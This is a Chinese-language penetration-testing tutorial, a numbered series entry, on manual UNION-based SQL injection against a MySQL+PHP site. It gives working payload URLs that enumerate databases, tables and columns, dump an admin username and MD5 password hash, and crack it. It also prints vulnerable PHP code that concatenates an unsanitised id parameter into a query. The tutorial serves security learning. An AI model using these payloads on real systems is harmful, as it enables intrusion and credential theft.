66.网络安全渗透测试—[SQL注入篇5]—[MySQL+PHP-手工注入简单示例]
我认为,无论是学习安全还是从事安全的人,多多少少都会有些许的情怀和使命感!!!
文章目录
一、MySQL+PHP手工注入示例:库->表->列->行
0、MySQL数据表的相关概念:
(1)表是数据库中最基本最重要的数据对象,用于存放数据库中的数据。
(2)表是存储数据的一种逻辑结构,表由行和列构成,因此也称二维表。
(3)每个表由若干行组成,表的第一行为各列标题,其余行都是数据。
(4)一列就是一个字段,一行就是一条记录。
通俗的说:
(5)数据库里面存储着数据表。
(6)数据表里面存储着一行一行的数据,也成为行数据,或者行记录,其中第一行是字段名/列名,也就是各列的标题。
1、查询所有的库
(1)exp1: http://target_sys.com/article.php?id=-1 union select 1,2,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
# SCHEMA_NAME代表库名
# information_schema是一个存储着所有信息的库
# SCHEMATA存储着所有的库名
# 查询结果:information_schema,blogs,mysql,performance_schema,rbac,target_sys,test,wordpress
(1)exp2:http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
# 查询结果:information_schema,blogs,mysql,performance_schema,rbac,target_sys,test,wordpress
2、查询当前库里所有的表
(1)exp:http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()
# 查询结果:admin,article,moon_range,users
3、查询admin表里所有的字段
(1)exp:http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e
# admin的十六进制编码为:0x61646d696e
# 查询结果:id,username,password
4、查询admin表的所有行数据/记录
(1)exp:http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(username,0x3a,password) from admin
# 查询结果:admin:e10adc3949ba59abbe56e057f20f883e
# md5解密网站:https://md5.cc/
# md5解密后密码为:123456
5、group_concat() 查询失败的原因和解决方法
(1)失败原因: 利用gourp_concat()函数的这种查询方法不是通用的,有时候查询不全,这个原因是字段本身在被定义的时候,长度设置的不够大
。
(2)解决方法:换一个回显字段
进行查询,或者用函数查询长度
再用字符串函数截取
。这种方法将会在下面介绍。
(3)本次测试为什么可以查询成功:
后台关键源码: 通过以下源码,发现回显位是title和content字段
<?php
include 'init.php';
$id =isset($_GET['id']) ? $_GET['id'] : 1;
$result=mysql_query("select * from article where id=$id") or die(mysql_error());
$row = mysql_fetch_array($result);
echo "<h3>{$row['title']}</h3>";
echo "<p>{$row['content']}</p>";
?>
我们现在去数据库里面查看: 发现title字段的类型是varchar,其长度为255;而content类型是text,text不需要设置长度,也可以能设置为0,不过存储还是最大值。
相关文章
- PHP MySQL 读取数据
- MySQL Replication 主从复制全方位解决方案
- 关于spring中使用mysql数据库明明配置了事务管理却失效的原因及解决方法
- 使用HAProxy、PHP、Redis和MySQL支撑每周10亿请求
- 《ELK Stack权威指南(第2版)》一3.7 MySQL慢查询日志
- MySQL 窗口函数 & MySQL8新特性
- 记录一下MySql的一些查询语句使用案例
- mysql基础
- EF6+MYSQL之初体验
- Mysql集群-----(01) Oracle VM VirtualBox 安装Centos7
- 《PHP和MySQL Web开发从新手到高手(第5版)》一一2.1 数据库简介
- 《PHP、MySQL和Apache入门经典(第5版)》一一第2章 安装和配置MySQL
- 《PHP、MySQL和Apache入门经典(第5版)》一一2.3 在Linux/UNIX上安装MySQL
- 《PHP、MySQL和Apache入门经典(第5版)》一一2.4 在Mac OS X上安装MySQL
- 《PHP、MySQL和Apache入门经典(第5版)》一1.6 故障排除
- 《PHP、MySQL和Apache入门经典(第5版)》一2.3 在Linux/UNIX上安装MySQL
- 基于PHP+MySQL实现在线考试系统【100010717】
- jboss7.1.1配置数据库mysql与oracle
- apache的php模块讲解以及搭建phpmyadmin管理数据库mysql
- PHP数据库长连接mysql_pconnect的细节
- Linux下的Mysql的远程访问
- 修改mysql字符编码出现Job failed to start解决办法
- MySQL高可用基础之keepalived+双主复制【转】
- 查看MYSQL数据库中所有用户及拥有权限
- spring中操作mysql数据库
- LNMP环境搭建——MySQL篇
- 【未解决】mysql分页性能问题深究